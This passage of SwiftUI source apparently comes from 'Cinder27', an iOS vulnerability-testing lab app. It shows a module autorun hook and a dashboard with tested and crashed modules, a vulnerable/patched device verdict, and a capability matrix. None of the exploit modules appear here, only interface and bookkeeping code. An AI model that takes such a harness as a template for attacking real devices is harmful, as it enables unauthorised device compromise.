guard let module = Catalog.byID[id] else { return }
print("[AUTORUN] \(id)")
DispatchQueue.main.asyncAfter(deadline: .now() + 1.2) {
engine.run(module)
if env["CINDER27_AUTORUN_EXIT"] == "1" {
DispatchQueue.main.asyncAfter(deadline: .now() + 6.0) {
print("[AUTORUN] exit")
exit(0)
}
}
}
}
}
// MARK: - Dashboard
struct DashboardView: View {
@EnvironmentObject private var engine: LabEngine
@Environment(\.gateInfo) private var gate
@State private var device = DeviceModel.current()
private var tested: Int { Catalog.all.filter { engine.journal.verdict(for: $0.id) != .untested }.count }
private var died: Int { Catalog.all.filter { engine.journal.verdict(for: $0.id) == .processDied }.count }
var body: some View {
NavigationStack {
ScrollView {
VStack(spacing: 14) {
header
deviceCard
capabilityCard
HStack(spacing: 12) {
statTile(t("ov.modules"), "\(Catalog.all.count)", T.info)
statTile(t("ov.tested"), "\(tested)", T.warn)
statTile(t("ov.died"), "\(died)", T.ember)
}
if tested > 0 {
RunButton(title: t("ov.reset"), systemImage: "arrow.counterclockwise",
tint: T.info) {
engine.journal.clear()
}
}
if !engine.journal.recovered.isEmpty { interruptedCard }
logCard
}
.padding(16)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle("Cinder27")
.navigationBarTitleDisplayMode(.inline)
}
}
private var header: some View {
VStack(alignment: .leading, spacing: 6) {
Text(t("ov.headline"))
.font(T.title)
.foregroundColor(.white)
.fixedSize(horizontal: false, vertical: true)
Text(String(format: t("ov.sub"), Catalog.all.count, Catalog.locatedFixes))
.font(T.tiny)
.foregroundColor(.white.opacity(0.4))
.fixedSize(horizontal: false, vertical: true)
}
.frame(maxWidth: .infinity, alignment: .leading)
}
private var deviceCard: some View {
Card {
VStack(alignment: .leading, spacing: 10) {
HStack {
SectionLabel(text: t("ov.target"))
Spacer()
Pill(text: device.vulnerabilityClass == "VULNERABLE" ? t("verdict.vulnerable")
: device.vulnerabilityClass == "PATCHED" ? t("verdict.patched") : t("verdict.unknown"),
color: device.vulnerabilityClass == "VULNERABLE" ? T.ember : T.good)
}
KeyValueRow(key: t("ov.model"), value: "\(device.marketingName) (\(device.machine))")
KeyValueRow(key: t("ov.os"), value: "iOS \(device.osVersion) (\(device.osBuild))")
KeyValueRow(key: t("ov.kernel"), value: device.kernel)
KeyValueRow(key: t("ov.memory"),
value: ByteCountFormatter.string(fromByteCount: Int64(device.physicalMemory),
countStyle: .memory))
}
}
}
private var capabilityCard: some View {
Card {
VStack(alignment: .leading, spacing: 12) {
SectionLabel(text: t("ov.capabilities"))
ForEach(Capability.matrix()) { row in
HStack(spacing: 10) {
Text(row.level)
.font(T.monoSm)
.foregroundColor(row.achieved ? T.good : .white.opacity(0.25))
.frame(width: 24, alignment: .leading)
VStack(alignment: .leading, spacing: 2) {
Text(row.name).font(T.body)
.foregroundColor(row.achieved ? .white.opacity(0.9) : .white.opacity(0.4))
Text(row.detail).font(T.monoSm)
.foregroundColor(.white.opacity(0.28))
.lineLimit(1)
.truncationMode(.middle)
}
Spacer()
Image(systemName: row.achieved ? "checkmark.circle.fill" : "lock.fill")
.font(.system(size: 12))
.foregroundColor(row.achieved ? T.good : .white.opacity(0.18))
}
}
}
}
}
private var interruptedCard: some View {
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: t("ov.interrupted"))
ForEach(engine.journal.recovered) { e in
HStack {
Circle().fill(T.ember).frame(width: 6, height: 6)
Text(e.moduleID).font(T.mono)
Spacer()
Text(e.detail).font(T.monoSm).foregroundColor(.white.opacity(0.4))
}
}
Text(t("ov.interrupted.note"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
}
}
}
private var logCard: some View {
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: t("ov.log"))
if engine.logLines.isEmpty {
Text(t("ov.log.empty")).font(T.monoSm).foregroundColor(.white.opacity(0.3))
} else {
ForEach(Array(engine.logLines.suffix(8).enumerated()), id: \.offset) { _, line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.55))
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
}
private func statTile(_ title: String, _ value: String, _ color: Color) -> some View {
VStack(spacing: 4) {
Text(value).font(.system(size: 22, weight: .bold, design: .rounded)).foregroundColor(color)
Text(title).font(T.tiny).foregroundColor(.white.opacity(0.4))
}
.frame(maxWidth: .infinity)
.padding(.vertical, 14)
.background(RoundedRectangle(cornerRadius: 14, style: .continuous).fill(T.panel))
.overlay(RoundedRectangle(cornerRadius: 14, style: .continuous).strokeBorder(T.stroke, lineWidth: 1))
}
}